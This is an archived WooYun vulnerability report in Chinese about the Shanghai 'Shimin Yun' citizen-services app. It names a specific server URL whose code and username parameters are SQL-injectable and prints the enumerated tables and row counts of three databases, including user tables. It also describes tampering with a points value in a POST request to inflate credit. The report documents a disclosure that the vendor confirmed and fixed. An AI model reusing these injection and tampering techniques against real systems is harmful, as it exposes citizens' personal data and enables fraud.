乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-04-13: 细节已通知厂商并且等待厂商处理中 2016-04-13: 厂商已经确认,细节仅向厂商公开 2016-04-14: 厂商已经修复漏洞并主动公开,细节向公众公开
上海市民云APP某处SQL注入。最近在公交车看到了,就下载试试。
APP是从支付宝里面下载的··打开APP,抓包过程中发现一处链接为
http://218.78.214.24:8080/live/service/top/hasNewOrgan?code=310112110&username=eshimin34188390
参数code和username都存在注入
Database: live+------------------+---------+| Table | Entries |+------------------+---------+| society_user | 42489 || commercial | 6012 || notice | 2216 || temp_com | 1620 || services_discuss | 437 || organ | 214 || society | 214 || dic_service | 31 |+------------------+---------+
Database: live_online+---------------------+---------+| Table | Entries |+---------------------+---------+| organ_type_remind | 1139597 || organ_masg_remind | 414863 || society_user | 133187 || affairsorganelation | 39777 || notice | 12991 || commercial | 7438 || favorite | 3027 || temp_com | 1620 || affairsarchives | 1273 || services_discuss | 850 || affairsorder | 511 || affairsdefine | 280 || society | 252 || organ | 217 || enumeration | 88 || recommend_service | 75 || commercial_set_top | 42 || dic_service | 39 || geo | 19 || vacation | 12 || subject | 9 || affair_type | 8 || recommend_affair | 7 |+---------------------+---------+
Database: live_offline+---------------------+---------+| Table | Entries |+---------------------+---------+| society_user | 42397 || affairsorganelation | 41211 || commercial | 6011 || notice | 1901 || temp_com | 1620 || affairsarchives | 1189 || services_discuss | 438 || favorite | 411 || affairsdefine | 259 || society | 249 || organ | 217 || enumeration | 86 || dic_service | 31 || geo | 19 || affairsorder | 16 || affair_type | 8 || recommend_affair | 4 || subject | 4 |+---------------------+---------+
另外一处设计缺陷,可刷市民问答积分。
http://apps.eshimin.com/survey/invest/addDcResult
POST数据如下,修改jifen后面的数值,即可刷积分。
以前有个活动,可以用10积分抽奖一次。现在利用不了~以后可能会被利用。
危害等级:低
漏洞Rank:4
确认时间:2016-04-13 15:57
对我公司改进系统很有帮助。感谢乌云和作者!
2016-04-14:已修复。